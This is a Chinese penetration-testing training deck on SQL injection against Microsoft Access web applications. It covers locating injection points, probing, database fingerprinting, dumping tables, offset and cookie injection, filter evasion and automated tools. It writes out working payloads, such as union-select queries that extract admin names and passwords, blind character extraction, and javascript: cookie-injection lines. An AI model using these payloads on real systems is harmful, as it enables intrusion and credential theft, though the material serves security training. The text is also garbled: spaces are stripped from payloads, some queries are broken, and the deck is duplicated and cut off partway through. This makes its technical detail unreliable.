版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
Web滲透測試系列_X_access注入Web滲透測試系列_X_access注入整體框架探測階段執(zhí)行階段注入變形測試工具總結(jié)培訓(xùn)提綱整體框架培訓(xùn)提綱整體框架整體框架概述Access注入主要分成兩個(gè)階段:注入探測階段:尋找、探測注入點(diǎn)、探測數(shù)據(jù)庫類型,為以后發(fā)起攻擊做好準(zhǔn)備。注入執(zhí)行階段:包括跨庫查詢、暴數(shù)據(jù)、注入導(dǎo)入功能、執(zhí)行系統(tǒng)命令,根據(jù)注入探測階段探測到的信息,選擇具體方法發(fā)起攻擊。概述Access注入主要分成兩個(gè)階段:Access注入框架圖Access注入框架圖探測階段探測階段簡介尋找注入點(diǎn):該階段即尋找所有有可能存在注入漏洞的注入點(diǎn),該階段是滲透測試第一步也是最關(guān)鍵一步。
注入漏洞探測:該階段即利用常見注入漏洞檢測方法對尋找注入點(diǎn)階段尋找的注入點(diǎn)進(jìn)行探測,并確定是否存在注入點(diǎn)。數(shù)據(jù)庫類型探測:該階段即確定目標(biāo)數(shù)據(jù)庫類型,為下一步攻擊做好準(zhǔn)備。簡介尋找注入點(diǎn):該階段即尋找所有有可能存在注入漏洞的注入點(diǎn),尋找注入點(diǎn)url參數(shù)Post數(shù)據(jù)項(xiàng)隱藏參數(shù)固定參數(shù)Cookiehttp消息頭尋找注入點(diǎn)url參數(shù)尋找注入點(diǎn)url參數(shù)url參數(shù)注入是最為常見的注入點(diǎn),可以通過構(gòu)造具有攻擊意義的值賦值給url參數(shù),來實(shí)現(xiàn)注入漏洞的探測,具體如下圖紅框處。尋找注入點(diǎn)url參數(shù)尋找注入點(diǎn)Post數(shù)據(jù)項(xiàng)這類注入點(diǎn)一般是注冊、修改等頁面,以post表單的形式提交給服務(wù)器??梢酝ㄟ^構(gòu)造具有攻擊意義的表單內(nèi)容,來實(shí)現(xiàn)注入漏洞的探測,具體如下圖紅圈處。尋找注入點(diǎn)Post數(shù)據(jù)項(xiàng)尋找注入點(diǎn)隱藏參數(shù)隱藏參數(shù)即不會(huì)再頁面顯示,但會(huì)伴隨用戶提交的內(nèi)容一起提交給服務(wù)器,它的獲取一般需要借助代理工具,以下通過對比原始頁面圖與抓包圖講解隱藏參數(shù)。原始頁面可見參數(shù)為url參數(shù)id、post表單參數(shù)aa、bb,如下圖尋找注入點(diǎn)隱藏參數(shù)尋找注入點(diǎn)隱藏參數(shù)抓包圖中紅色圈部分submit、id為兩個(gè)隱藏參數(shù),下圖紅圈處。尋找注入點(diǎn)隱藏參數(shù)尋找注入點(diǎn)固定參數(shù)此類注入點(diǎn)在頁面上是以固定選項(xiàng)出現(xiàn)的,如下拉菜單、可選項(xiàng)等,這些參數(shù)在頁面上不可修改,一般需要借助代理工具進(jìn)行修改,以下通過對比原始頁面圖與抓包圖講解隱藏參數(shù)。原始固定參數(shù)如下圖紅圈內(nèi),具體如下。尋找注入點(diǎn)固定參數(shù)尋找注入點(diǎn)固定參數(shù)抓包頁面固定參數(shù)如下圖紅圈內(nèi),具體如下。尋找注入點(diǎn)固定參數(shù)尋找注入點(diǎn)cookie有些服務(wù)器端能夠像接收url、post參數(shù)那樣從cookie獲取需要的參數(shù),如果服務(wù)器不做過濾,就存在cookie注入,例如下圖中紅框中id通過cookie傳到服務(wù)器端:尋找注入點(diǎn)cookie尋找注入點(diǎn)http消息頭http消息頭注入點(diǎn)尋找需要借助代理工具,具體如下圖紅圈內(nèi):尋找注入點(diǎn)http消息頭注入漏洞探測經(jīng)典方法單引號(hào)使用算數(shù)組合使用連字符Cookie注入探測注入漏洞探測經(jīng)典方法注入漏洞探測經(jīng)典方法分別在探測輸入點(diǎn)輸入and1=1和and1=2,然后判斷兩次輸入返回界面異同,不同則存在注入漏洞。輸入:and1=1,如下圖注入漏洞探測經(jīng)典方法注入漏洞探測經(jīng)典方法輸入:and1=2,兩次輸入頁面返回不同,因此可以判斷存在注入漏洞,如下圖注入漏洞探測經(jīng)典方法注入漏洞探測單引號(hào)由于單引號(hào)經(jīng)常作為語句閉合符號(hào),如果輸入單引號(hào),內(nèi)部程序不過濾,就可能能夠造成語法錯(cuò)誤,如果系統(tǒng)不做容錯(cuò)處理,會(huì)返回詳細(xì)錯(cuò)誤信息,則說明可能存在通用注入漏洞,如果有容錯(cuò)處理,可能返回通用錯(cuò)誤頁面、重定向到指定頁面等多種情況,這里以系統(tǒng)不做容錯(cuò)處理為例,具體如下:注入漏洞探測單引號(hào)注入漏洞探測使用算數(shù)組合當(dāng)參數(shù)是數(shù)字類型時(shí),可以使用使用算數(shù)運(yùn)算符,諸如+、-、*、/等,如下圖與id=39頁面返回結(jié)果一樣,因此存在漏洞,具體如下:注入漏洞探測使用算數(shù)組合注入漏洞探測使用連字符如果探測參數(shù)類型為字符類型,可以使用連字符%2B、%26,分別使用連字符連接一個(gè)空格和一個(gè)隨意字符,兩次頁面返回不同則存在漏洞,具體如下:輸入:
user=hudong'%2B',頁面返回如下注入漏洞探測使用連字符注入漏洞探測使用連字符輸入:
user=hudong‘%2B’asdf,兩次頁面不同,因此存在諸如漏洞,具體如下:注入漏洞探測使用連字符注入漏洞探測Cookie注入探測Cookie注入探測與通過url、post表項(xiàng)原理是一樣的,只不過方法不一樣,這里的cookie探測漏洞使用經(jīng)典方法,使用單引號(hào)、算數(shù)組合以及使用%2B方法類似,接下來分別修改cookie參數(shù)里面包含and1=1、and1=2,具體如下。注入漏洞探測Cookie注入探測注入漏洞探測Cookie注入探測輸入javascript:alert(document.cookie=“id=”+escape(“39and1=1”)),頁面返回如下:注入漏洞探測Cookie注入探測注入漏洞探測Cookie注入探測緊接著在瀏覽器輸入7/modify.asp?,頁面返回如下:注入漏洞探測Cookie注入探測注入漏洞探測Cookie注入探測再次在瀏覽器中輸入javascript:alert(document.cookie=“id=”+escape(“39and1=2”)),頁面返回如下:注入漏洞探測Cookie注入探測注入漏洞探測Cookie注入探測緊接著在瀏覽器輸入7/modify.asp?,可見兩次頁面返回不同,因此存在漏洞,具體如下:注入漏洞探測Cookie注入探測數(shù)據(jù)庫類型探測Access數(shù)據(jù)庫每個(gè)版本都有MSysObjects數(shù)據(jù)表,因此可以判斷MSysObjects的有無來判斷是否為Access數(shù)據(jù)庫。如果系統(tǒng)不做容錯(cuò)處理,會(huì)返回詳細(xì)錯(cuò)誤信息,則比較容易確定是否為Access數(shù)據(jù)庫,如果有容錯(cuò)處理,可能返回通用錯(cuò)誤頁面、重定向到指定頁面等多種情況,這種情況比較復(fù)雜,以下分別介紹。數(shù)據(jù)庫類型探測Access數(shù)據(jù)庫每個(gè)版本都有MSysObje數(shù)據(jù)庫類型探測系統(tǒng)沒有容錯(cuò)情況輸入:andexists(select*fromMSysObjects),返回結(jié)果顯示MSysObjects沒有讀取權(quán)限,因此可以判斷后臺(tái)為Access數(shù)據(jù)庫返回頁面如下:數(shù)據(jù)庫類型探測系統(tǒng)沒有容錯(cuò)情況數(shù)據(jù)庫類型探測系統(tǒng)有容錯(cuò)情況系統(tǒng)有容錯(cuò)情況,判斷比較復(fù)雜,則只能使用排除法排除掉是其它數(shù)據(jù)庫的可能性,依次來確定后臺(tái)是否為Access數(shù)據(jù)庫。數(shù)據(jù)庫類型探測系統(tǒng)有容錯(cuò)情況執(zhí)行階段執(zhí)行階段簡介Access注入-暴數(shù)據(jù)Access注入-跨庫查詢Access注入-注入導(dǎo)入功能Access注入-執(zhí)行系統(tǒng)命令簡介Access注入-暴數(shù)據(jù)Access注入-暴數(shù)據(jù)猜解表名猜解列名猜解記錄總數(shù)猜解記錄長度猜解記錄值A(chǔ)ccess注入-暴數(shù)據(jù)猜解表名猜解表名暴力破解法由于Access數(shù)據(jù)庫的系統(tǒng)表訪問需要管理員權(quán)限,因此只能借助暴力破解。使用語句andexists(select*from[表名])猜測表名,不停地更換表名,直到返回的html頁面與正常頁面一樣,則表存在。例如輸入:id=39andexists(select*from[admin])。猜解表名暴力破解法猜解列名暴力破解法與猜測表名類似,完成猜解表名后,使用語句andexists(select[列名]from[表名])猜測列名,不停地更換列名,直到返回的html頁面與正常頁面一樣,則列名在,例如輸入:id=39andexists(selectidfrom[admin])。猜解列名暴力破解法猜解列名Having1=1在Access數(shù)據(jù)庫里,也支持having和groupby語句,根據(jù)后臺(tái)查詢語句不同分為兩種情況具體如下。猜解列名Having1=1猜解列名Having1=1第一種情況,如果站點(diǎn)的sql查詢語句查詢的是特定列名的數(shù)據(jù),諸如selectid,name,addressfromadmin,可以暴出目標(biāo)表所有列。例如輸入:id=39groupby1having1=1,暴出第一個(gè)列名id,具體如下:猜解列名Having1=1猜解列名Having1=1爆出id列名,繼續(xù)輸入:id=39groupby1,idhaving1=1,暴出第二列名,具體如下:-逐漸把暴出的列名添加到groupby后面,例如繼續(xù)輸入:id=39groupby1,id,aahaving1=1,可以暴出aa下一列列名,依次類推暴出所有列名值。猜解列名Having1=1猜解列名Having1=1第二種情況,如果站點(diǎn)的sql查詢語句查詢的是沒用特定列名的數(shù)據(jù),諸如select*fromproductwhereid=“&ID&”,此情況只能爆出第一個(gè)列名,同時(shí)having后面必須跟諸如sum、avg等合計(jì)函數(shù)。例如輸入:id=49havingsum(1)=1,頁面返回如下:猜解列名Having1=1猜解記錄總數(shù)暴力破解法使用語句and(selectcount(1)from表名where1=1)<整數(shù),猜解表記錄總數(shù),不斷縮小整數(shù)大小,直到等于某一整數(shù),猜解出表記錄數(shù)。例如輸入:id=39and(selectcount(1)from[admin]where1=1)<10猜解記錄總數(shù)暴力破解法猜解記錄長度暴力破解法使用語句and(selecttop1len(cstr(列名))from(selecttop1*from表名where1=1orderby列名)Torderby列名desc)<整數(shù),猜解記錄長度,其中l(wèi)en()求字節(jié)長度,cstr()轉(zhuǎn)換數(shù)據(jù)為字符串。因?yàn)椤皌op1”的意思是把最靠前的1條記錄給提取出來,所以如果要猜解第二條記錄就該使用selecttop1len(列名)from表名where列名notin(selecttop1列名from表名),依次類推可以猜測出所有記錄字段的長度。例如輸入:id=39and(selecttop1len(cstr(id))from(selecttop1*fromadminwhere1=1orderbyid)Torderbyiddesc)<10猜解記錄長度暴力破解法猜解記錄值暴力破解法使用語句and(selecttop1asc(mid(cstr(列名),1,1))from(selecttop1*from表名where1=1orderby列名)Torderby列名desc)between整數(shù)1and整數(shù)2,猜解表記錄字段值,asc(),mid()都是Access函數(shù)。例如輸入:id=39andand(selecttop1asc(mid(cstr(id),1,1))from(selecttop1[id]fromadminwhere1=1orderby[id])Torderbyiddesc)between30and130猜解記錄值暴力破解法猜解記錄值Unionselect法使用unionselect語句猜解記錄列名的值,有兩個(gè)前提條件,分別是找到一個(gè)可注入點(diǎn)和目標(biāo)表名。假如http://7/modify.asp?id=39存在漏洞,則id=39為一個(gè)可注入點(diǎn)。要探測的目標(biāo)表為admin。接下來將介紹使用unionselect猜解記錄值的流程如下。猜解記錄值Unionselect法猜解記錄值探測列數(shù)首先使用orderbynumber探測列數(shù),不停地修改number列名的值直到頁面返回錯(cuò)誤頁面為止。輸入:id=39orderby1,頁面返回如下圖。猜解記錄值探測列數(shù)猜解記錄值探測列數(shù)不斷增加number值,當(dāng)輸入id=39orderby9,頁面返回出錯(cuò),所以這時(shí)可以判斷7/modify.asp?id=39接的數(shù)據(jù)庫列數(shù)為8,具體如下圖。猜解記錄值探測列數(shù)猜解記錄值探測暴出數(shù)據(jù)內(nèi)容的位置輸入:id=39unionselect1,2,3,4,5,6,7,8fromadmin,此時(shí)會(huì)發(fā)現(xiàn)頁面上顯示出了數(shù)字,比如2、3這些數(shù)字,這些數(shù)字的地方就是待會(huì)爆出數(shù)據(jù)內(nèi)容的位置,具體如下。猜解記錄值探測暴出數(shù)據(jù)內(nèi)容的位置猜解記錄值暴出記錄值輸入:id=39unionselect1,name,passwd,4,5,6,7,8fromadmin,返回頁面默認(rèn)的暴出的是數(shù)據(jù)庫最后一個(gè)列名值,具體如下圖。猜解記錄值暴出記錄值猜解記錄值暴出記錄值輸入:id=39and1=2unionselecttop11,name,passwd,4,5,6,7,8fromadmin暴出第一個(gè)記錄列名值。輸入:id=39and1=2unionselecttop11,name,passwd,4,5,6,7,8fromadminwherenamenotin(selecttop1namefromadmin)暴出第二個(gè)記錄列名的值,類似依次暴出所有列名的值。猜解記錄值暴出記錄值猜解記錄值偏移注入法使用unionselect查詢目標(biāo)數(shù)據(jù)庫列名內(nèi)容的時(shí)候,有時(shí)候返回到頁面的內(nèi)容不是自己想要的內(nèi)容,這個(gè)時(shí)候Access偏移注入就派上很好的用場了,使用Access偏移注入能夠打亂目標(biāo)數(shù)據(jù)庫的查詢結(jié)果,不停地偏移可以使得頁面返回自己想要的結(jié)果。Access偏移前提是知道目標(biāo)表名和一個(gè)列名。以目標(biāo)網(wǎng)址http://7/modify.asp?id=39為例,本例中目標(biāo)表名為admin、一個(gè)列名為name,具體流程如下。猜解記錄值偏移注入法猜解記錄值獲取目標(biāo)列數(shù)目使用orderby容易得出目標(biāo)網(wǎng)址連接表的列數(shù)為8。輸入:id=39and1=2unionselect1,*fromadmin,頁面返回如下圖。猜解記錄值獲取目標(biāo)列數(shù)目猜解記錄值獲取目標(biāo)列數(shù)目逐漸增加unionselect后面的列數(shù),當(dāng)輸入:id=39and1=2unionselect1,2,3,4,5,*fromadmin的時(shí)候,可以得出admin的列名數(shù)為8-5=3個(gè),具體如下圖。猜解記錄值獲取目標(biāo)列數(shù)目猜解記錄值目標(biāo)自聯(lián)自聯(lián)有一個(gè)重要的條件就是目標(biāo)表(比如例子admin)的列數(shù)*2<orderby出的列數(shù),例子admin表列名為3,3*2<8,因此符合條件。Admin表3個(gè)列名,自聯(lián)后是6個(gè)列名,然后隨便加2個(gè)列名變成8個(gè)列名,構(gòu)造和7/modify.asp?id=39連接數(shù)據(jù)庫表列名數(shù)目一樣。猜解記錄值目標(biāo)自聯(lián)猜解記錄值目標(biāo)自聯(lián)輸入:id=39and1=2unionselect1,2,*from(adminasainnerjoinadminasbon=),從返回頁面看沒有返回有用信息,具體如下圖。猜解記錄值目標(biāo)自聯(lián)猜解記錄值目標(biāo)自聯(lián)那么再次輸入:id=39and1=2unionselect1,2,,,*from(adminasainnerjoinadminasbon=),返回結(jié)果看僅僅返回了用戶名,具體如下。猜解記錄值目標(biāo)自聯(lián)猜解記錄值目標(biāo)自聯(lián)那么更改列名值順序輸入:id=39and1=2unionselect1,,,3,*from(adminasainnerjoinadminasbon=),從返回界面可以暴出了目標(biāo)表admin表的用戶名與密碼值,具體如下。猜解記錄值目標(biāo)自聯(lián)猜解記錄值Cookie注入猜解法利用Cookie注入猜解記錄值與使用url參數(shù)、post參數(shù)猜解記錄值原理一樣,用也unionselect語句。以目標(biāo)網(wǎng)址http://7/modify.asp?id=39為例,假如已經(jīng)知道目標(biāo)表名為admin,表的2個(gè)列名分別為name、passwd,具體流程如下。猜解記錄值Cookie注入猜解法猜解記錄值Cookie注入猜解法在瀏覽器輸入:javascript:alert(document.cookie=“id=”+escape(“39and1=2unionselect1,name,passwdfromadmin”)),頁面如:猜解記錄值Cookie注入猜解法猜解記錄值Cookie注入猜解法緊接著在瀏覽器輸入:7/modify.asp?,返回的頁面中暴出了數(shù)據(jù)庫中字段值,具體如下:猜解記錄值Cookie注入猜解法Access注入-跨庫查詢跨庫查詢簡介有時(shí)候某個(gè)網(wǎng)站服務(wù)器上有兩個(gè)以上網(wǎng)站,你發(fā)現(xiàn)其中一個(gè)有Access注入點(diǎn),但是后臺(tái)沒法提權(quán),另外一個(gè)網(wǎng)站沒有注入點(diǎn),但是后臺(tái)卻有你需要的功能。那么這個(gè)時(shí)候,跨庫是不錯(cuò)的選擇??鐜煨枰獌蓚€(gè)條件,分別是前一個(gè)注入點(diǎn)連接表的列數(shù)、目標(biāo)數(shù)據(jù)庫的絕對路徑。第一個(gè)條件可以使用orderbynumber輕松獲得,第二個(gè)條件一般借助Access暴庫獲得??鐜觳樵儣l件苛刻,且現(xiàn)在access能夠暴庫的很少,故這里不做詳細(xì)敘述。Access注入-跨庫查詢跨庫查詢簡介Access注入-注入導(dǎo)入功能注入導(dǎo)入功能簡介假如能夠把Access數(shù)據(jù)庫里的表方便的導(dǎo)入指定位置文件(例如txt、htm、html等,這里以txt為例)里,理論上只要知道表名,不需要知道段名,就可以看到該表所有內(nèi)容了,較暴力破解速度也會(huì)大有提高。Access注入-注入導(dǎo)入功能注入導(dǎo)入功能簡介Access注入-注入導(dǎo)入功能注入導(dǎo)入功能簡介輸入:id=39and1=2unionselect1,name,passwd,4,5,6,7,8INTO[TEXT;DATABASE=C:\test1].test.txtfromadmin,返回頁面顯示子查詢回顯沒有權(quán)限,頁面返回出錯(cuò)信息提示,“動(dòng)作查詢不能作為行的來源“,這個(gè)難點(diǎn)目前還沒有很好的解決,具體如下:Access注入-注入導(dǎo)入功能注入導(dǎo)入功能簡介Access注入-執(zhí)行系統(tǒng)命令執(zhí)行系統(tǒng)命令簡介:執(zhí)行系統(tǒng)命令需要開啟SandBoxMode開關(guān)。在win7系統(tǒng)中,它的注冊表為位置在HKEY_LOCAL_MACHINE\SoftWare\Microsoft\office\14.0\AccessConnectivityEngine\Engines\SandBoxMode在windows2003中,它的注冊表位置在HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode執(zhí)行系統(tǒng)命令三個(gè)必備條件,首先必須有修改注冊表的權(quán)限,其次是有修改注冊表的條件,最后是可以執(zhí)行SandboxMode的環(huán)境,條件要求苛刻,因此這里僅做簡單敘述。Access注入-執(zhí)行系統(tǒng)命令執(zhí)行系統(tǒng)命令簡介:Access注入-執(zhí)行系統(tǒng)命令執(zhí)行系統(tǒng)命令簡介:常見系統(tǒng)函數(shù)包括curdir()、dir()、environ()、filedatetime()、filelen()、getattr()、shell()等。本例以函數(shù)curdir()為例,該函數(shù)可以查詢當(dāng)前的路徑,其它函數(shù)的使用可以查閱相關(guān)文檔。Access注入-執(zhí)行系統(tǒng)命令執(zhí)行系統(tǒng)命令簡介:Access注入-執(zhí)行系統(tǒng)命令執(zhí)行系統(tǒng)命令簡介:輸入:id=39and1=2unionselect1,curdir(),3,4,5,6,7,8frommsysAccessobjects,頁面如圖紅框處。Access注入-執(zhí)行系統(tǒng)命令執(zhí)行系統(tǒng)命令簡介:注入變形注入變形常見攻擊變形技術(shù)使用大小寫變種如果過濾器過濾不全面,可以通過變換攻擊字符串中字符的大小寫來避開它,因?yàn)閿?shù)據(jù)庫使用不區(qū)分大小寫方式處理sql關(guān)鍵字。常見攻擊變形技術(shù)使用大小寫變種常見攻擊變形技術(shù)使用編碼技術(shù)編碼是一種多功能技術(shù),它可以避開多種類型的輸入過濾器。常見的編碼技術(shù)包括url編碼、Base64編碼、UTF-8、UTF-7、unicode標(biāo)準(zhǔn)和非標(biāo)準(zhǔn)編碼、實(shí)體編碼等。常見攻擊變形技術(shù)使用編碼技術(shù)常見攻擊變形技術(shù)使用空白符可以在關(guān)鍵字之間插入多個(gè)空白符(空白符包括空格、回車、換行、tab鍵等)進(jìn)行逃逸,例如在unionselect之間插入多個(gè)空格,這種逃逸有時(shí)候能夠逃逸過某些沒有過濾特定空白符的過濾器。常見攻擊變形技術(shù)使用空白符常見攻擊變形技術(shù)使用空字節(jié)空字節(jié)之所以能夠起作用,是因?yàn)樵a與托管代碼分別采用不同的方法來處理空字節(jié),這種差異意味著原生過濾器在處理輸入的時(shí)候,如果遇到空字節(jié)它便會(huì)停止處理,因?yàn)檫^濾器看來空字節(jié)代表字符串的結(jié)束,不過在托管代碼中,應(yīng)用在處理相同輸入的時(shí)候,會(huì)將跟在空字節(jié)后面的輸入一同處理以便執(zhí)行利用。常見攻擊變形技術(shù)使用空字節(jié)測試工具測試工具常用工具介紹
完全自動(dòng)化工具半自動(dòng)化工具常用工具介紹
完全自動(dòng)化工具完全自動(dòng)化工具完全自動(dòng)化工具介紹完全自動(dòng)化工具多基于圖形化界面,簡單實(shí)用,易上手,操作簡單,對于Access數(shù)據(jù)庫,它或者利用http頭中的content-length的不同、或者利用返回的HTTP500錯(cuò)誤信息、或者根據(jù)頁面返回信息是否包含keyword來探測是否有漏洞,然后借助暴力破解暴數(shù)據(jù)常見的完全自動(dòng)化工具有Domain、HDSI、NBSI、DSQLTools、Pangolin、Havij,完全自動(dòng)化工具推薦使用Havij。完全自動(dòng)化工具完全自動(dòng)化工具介紹半自動(dòng)化工具半自動(dòng)化工具介紹半自動(dòng)化工工具不僅能夠利用其提供的工具庫實(shí)現(xiàn)完全自動(dòng)化工具的功能,而且攻擊者還可以根據(jù)需要靈活構(gòu)造攻擊特征,有些工具還提供了大量逃逸waf的腳本
。常用的半自動(dòng)工具有Burpsuite、Sqlmap,半自動(dòng)化工具推薦Burpsuite。半自動(dòng)化工具半自動(dòng)化工具介紹總結(jié)總結(jié)總結(jié)
總結(jié)了access注入整體流程。整理了攻擊相關(guān)變形。收集了access注入相關(guān)工具??偨Y(jié)
總結(jié)了access注入整體流程。深信服應(yīng)用層安全培訓(xùn)-Web滲透測試系列-X-A課件Web滲透測試系列_X_access注入Web滲透測試系列_X_access注入整體框架探測階段執(zhí)行階段注入變形測試工具總結(jié)培訓(xùn)提綱整體框架培訓(xùn)提綱整體框架整體框架概述Access注入主要分成兩個(gè)階段:注入探測階段:尋找、探測注入點(diǎn)、探測數(shù)據(jù)庫類型,為以后發(fā)起攻擊做好準(zhǔn)備。注入執(zhí)行階段:包括跨庫查詢、暴數(shù)據(jù)、注入導(dǎo)入功能、執(zhí)行系統(tǒng)命令,根據(jù)注入探測階段探測到的信息,選擇具體方法發(fā)起攻擊。概述Access注入主要分成兩個(gè)階段:Access注入框架圖Access注入框架圖探測階段探測階段簡介尋找注入點(diǎn):該階段即尋找所有有可能存在注入漏洞的注入點(diǎn),該階段是滲透測試第一步也是最關(guān)鍵一步。
注入漏洞探測:該階段即利用常見注入漏洞檢測方法對尋找注入點(diǎn)階段尋找的注入點(diǎn)進(jìn)行探測,并確定是否存在注入點(diǎn)。數(shù)據(jù)庫類型探測:該階段即確定目標(biāo)數(shù)據(jù)庫類型,為下一步攻擊做好準(zhǔn)備。簡介尋找注入點(diǎn):該階段即尋找所有有可能存在注入漏洞的注入點(diǎn),尋找注入點(diǎn)url參數(shù)Post數(shù)據(jù)項(xiàng)隱藏參數(shù)固定參數(shù)Cookiehttp消息頭尋找注入點(diǎn)url參數(shù)尋找注入點(diǎn)url參數(shù)url參數(shù)注入是最為常見的注入點(diǎn),可以通過構(gòu)造具有攻擊意義的值賦值給url參數(shù),來實(shí)現(xiàn)注入漏洞的探測,具體如下圖紅框處。尋找注入點(diǎn)url參數(shù)尋找注入點(diǎn)Post數(shù)據(jù)項(xiàng)這類注入點(diǎn)一般是注冊、修改等頁面,以post表單的形式提交給服務(wù)器。可以通過構(gòu)造具有攻擊意義的表單內(nèi)容,來實(shí)現(xiàn)注入漏洞的探測,具體如下圖紅圈處。尋找注入點(diǎn)Post數(shù)據(jù)項(xiàng)尋找注入點(diǎn)隱藏參數(shù)隱藏參數(shù)即不會(huì)再頁面顯示,但會(huì)伴隨用戶提交的內(nèi)容一起提交給服務(wù)器,它的獲取一般需要借助代理工具,以下通過對比原始頁面圖與抓包圖講解隱藏參數(shù)。原始頁面可見參數(shù)為url參數(shù)id、post表單參數(shù)aa、bb,如下圖尋找注入點(diǎn)隱藏參數(shù)尋找注入點(diǎn)隱藏參數(shù)抓包圖中紅色圈部分submit、id為兩個(gè)隱藏參數(shù),下圖紅圈處。尋找注入點(diǎn)隱藏參數(shù)尋找注入點(diǎn)固定參數(shù)此類注入點(diǎn)在頁面上是以固定選項(xiàng)出現(xiàn)的,如下拉菜單、可選項(xiàng)等,這些參數(shù)在頁面上不可修改,一般需要借助代理工具進(jìn)行修改,以下通過對比原始頁面圖與抓包圖講解隱藏參數(shù)。原始固定參數(shù)如下圖紅圈內(nèi),具體如下。尋找注入點(diǎn)固定參數(shù)尋找注入點(diǎn)固定參數(shù)抓包頁面固定參數(shù)如下圖紅圈內(nèi),具體如下。尋找注入點(diǎn)固定參數(shù)尋找注入點(diǎn)cookie有些服務(wù)器端能夠像接收url、post參數(shù)那樣從cookie獲取需要的參數(shù),如果服務(wù)器不做過濾,就存在cookie注入,例如下圖中紅框中id通過cookie傳到服務(wù)器端:尋找注入點(diǎn)cookie尋找注入點(diǎn)http消息頭http消息頭注入點(diǎn)尋找需要借助代理工具,具體如下圖紅圈內(nèi):尋找注入點(diǎn)http消息頭注入漏洞探測經(jīng)典方法單引號(hào)使用算數(shù)組合使用連字符Cookie注入探測注入漏洞探測經(jīng)典方法注入漏洞探測經(jīng)典方法分別在探測輸入點(diǎn)輸入and1=1和and1=2,然后判斷兩次輸入返回界面異同,不同則存在注入漏洞。輸入:and1=1,如下圖注入漏洞探測經(jīng)典方法注入漏洞探測經(jīng)典方法輸入:and1=2,兩次輸入頁面返回不同,因此可以判斷存在注入漏洞,如下圖注入漏洞探測經(jīng)典方法注入漏洞探測單引號(hào)由于單引號(hào)經(jīng)常作為語句閉合符號(hào),如果輸入單引號(hào),內(nèi)部程序不過濾,就可能能夠造成語法錯(cuò)誤,如果系統(tǒng)不做容錯(cuò)處理,會(huì)返回詳細(xì)錯(cuò)誤信息,則說明可能存在通用注入漏洞,如果有容錯(cuò)處理,可能返回通用錯(cuò)誤頁面、重定向到指定頁面等多種情況,這里以系統(tǒng)不做容錯(cuò)處理為例,具體如下:注入漏洞探測單引號(hào)注入漏洞探測使用算數(shù)組合當(dāng)參數(shù)是數(shù)字類型時(shí),可以使用使用算數(shù)運(yùn)算符,諸如+、-、*、/等,如下圖與id=39頁面返回結(jié)果一樣,因此存在漏洞,具體如下:注入漏洞探測使用算數(shù)組合注入漏洞探測使用連字符如果探測參數(shù)類型為字符類型,可以使用連字符%2B、%26,分別使用連字符連接一個(gè)空格和一個(gè)隨意字符,兩次頁面返回不同則存在漏洞,具體如下:輸入:
user=hudong'%2B',頁面返回如下注入漏洞探測使用連字符注入漏洞探測使用連字符輸入:
user=hudong‘%2B’asdf,兩次頁面不同,因此存在諸如漏洞,具體如下:注入漏洞探測使用連字符注入漏洞探測Cookie注入探測Cookie注入探測與通過url、post表項(xiàng)原理是一樣的,只不過方法不一樣,這里的cookie探測漏洞使用經(jīng)典方法,使用單引號(hào)、算數(shù)組合以及使用%2B方法類似,接下來分別修改cookie參數(shù)里面包含and1=1、and1=2,具體如下。注入漏洞探測Cookie注入探測注入漏洞探測Cookie注入探測輸入javascript:alert(document.cookie=“id=”+escape(“39and1=1”)),頁面返回如下:注入漏洞探測Cookie注入探測注入漏洞探測Cookie注入探測緊接著在瀏覽器輸入7/modify.asp?,頁面返回如下:注入漏洞探測Cookie注入探測注入漏洞探測Cookie注入探測再次在瀏覽器中輸入javascript:alert(document.cookie=“id=”+escape(“39and1=2”)),頁面返回如下:注入漏洞探測Cookie注入探測注入漏洞探測Cookie注入探測緊接著在瀏覽器輸入7/modify.asp?,可見兩次頁面返回不同,因此存在漏洞,具體如下:注入漏洞探測Cookie注入探測數(shù)據(jù)庫類型探測Access數(shù)據(jù)庫每個(gè)版本都有MSysObjects數(shù)據(jù)表,因此可以判斷MSysObjects的有無來判斷是否為Access數(shù)據(jù)庫。如果系統(tǒng)不做容錯(cuò)處理,會(huì)返回詳細(xì)錯(cuò)誤信息,則比較容易確定是否為Access數(shù)據(jù)庫,如果有容錯(cuò)處理,可能返回通用錯(cuò)誤頁面、重定向到指定頁面等多種情況,這種情況比較復(fù)雜,以下分別介紹。數(shù)據(jù)庫類型探測Access數(shù)據(jù)庫每個(gè)版本都有MSysObje數(shù)據(jù)庫類型探測系統(tǒng)沒有容錯(cuò)情況輸入:andexists(select*fromMSysObjects),返回結(jié)果顯示MSysObjects沒有讀取權(quán)限,因此可以判斷后臺(tái)為Access數(shù)據(jù)庫返回頁面如下:數(shù)據(jù)庫類型探測系統(tǒng)沒有容錯(cuò)情況數(shù)據(jù)庫類型探測系統(tǒng)有容錯(cuò)情況系統(tǒng)有容錯(cuò)情況,判斷比較復(fù)雜,則只能使用排除法排除掉是其它數(shù)據(jù)庫的可能性,依次來確定后臺(tái)是否為Access數(shù)據(jù)庫。數(shù)據(jù)庫類型探測系統(tǒng)有容錯(cuò)情況執(zhí)行階段執(zhí)行階段簡介Access注入-暴數(shù)據(jù)Access注入-跨庫查詢Access注入-注入導(dǎo)入功能Access注入-執(zhí)行系統(tǒng)命令簡介Access注入-暴數(shù)據(jù)Access注入-暴數(shù)據(jù)猜解表名猜解列名猜解記錄總數(shù)猜解記錄長度猜解記錄值A(chǔ)ccess注入-暴數(shù)據(jù)猜解表名猜解表名暴力破解法由于Access數(shù)據(jù)庫的系統(tǒng)表訪問需要管理員權(quán)限,因此只能借助暴力破解。使用語句andexists(select*from[表名])猜測表名,不停地更換表名,直到返回的html頁面與正常頁面一樣,則表存在。例如輸入:id=39andexists(select*from[admin])。猜解表名暴力破解法猜解列名暴力破解法與猜測表名類似,完成猜解表名后,使用語句andexists(select[列名]from[表名])猜測列名,不停地更換列名,直到返回的html頁面與正常頁面一樣,則列名在,例如輸入:id=39andexists(selectidfrom[admin])。猜解列名暴力破解法猜解列名Having1=1在Access數(shù)據(jù)庫里,也支持having和groupby語句,根據(jù)后臺(tái)查詢語句不同分為兩種情況具體如下。猜解列名Having1=1猜解列名Having1=1第一種情況,如果站點(diǎn)的sql查詢語句查詢的是特定列名的數(shù)據(jù),諸如selectid,name,addressfromadmin,可以暴出目標(biāo)表所有列。例如輸入:id=39groupby1having1=1,暴出第一個(gè)列名id,具體如下:猜解列名Having1=1猜解列名Having1=1